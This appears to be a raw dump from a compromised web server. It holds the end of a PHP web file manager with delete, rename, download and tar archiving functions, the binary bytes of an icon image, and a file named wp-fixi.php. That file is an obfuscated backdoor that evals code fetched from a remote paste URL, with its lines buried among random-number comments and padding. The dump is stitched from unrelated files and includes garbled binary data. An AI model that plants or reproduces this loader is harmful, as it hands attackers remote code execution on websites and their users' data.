			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
icons.png000064400000001401147510612050006362 0ustar00�PNG


IHDR���>/PLTE���}}}___�Xv�tRNS�����ֈ�I��IDATx�G�!�yqo_�80�+o��u����l��j^��F�=��BxĒ$Izv�s��	��� ��C@9�#p.�T�
8k�wΙxy�����4vp7�N;�}y�M��)�;��a��3���v�O���pש��
�΢���i���;���)p
���)p
���)p
���)p
��(p
�wk2HW�PwKZy���s��
��];�Ǒ>���3
\��U�*8�蔁k�G�J��b�*��S��#0p��C��;�S���Q]`qG08��A�kହ��4F����ţ�
LR��;&��͙����`]BZ�����$ʏ��?
�n�4�t[��
�x"���B�b��9I�)Ci�Ni՝f�`���P�b�A�?��1�Pt�N�S�8N��e�]�S�au&@�y&�I���g�;p�=e@�h*�� �G��J*p�}ix����/
���-��}8��g#�r�>�5?�E�Qo��p
���)p
��d�:��C��x� <�=�-��7�u���ez(K�Iu�������vY|����a3�f��	x p���9Pu؞�1�*�+�a�5`�o��auz������ۂ��Lk;�w(:I��ǫ?o��UC���IEND�B`�wp-fixi.php000064400000001202147510612050006634 0ustar00<?php eval(


        /*195120171673628528243394485425901591443*/        


urldecode("%3f%3e")


      /*288967944863130613556899795436100107128*/      


.file_get_contents(


          /*288497349368947797672974888438992371911*/          


urldecode("https://paste.myconan.net/496882.txt?zbn=141056506545345654432363242424243242343793"



       /*66507194551149082495849105575817739026*/       



)




     /*91557940725503400002861482758909037655*/     




)

      /*259680718900618871158933907587678655028*/      

);




     /*84146071435984784762718341703718496527*/     




?>
© 2025 GrazzMean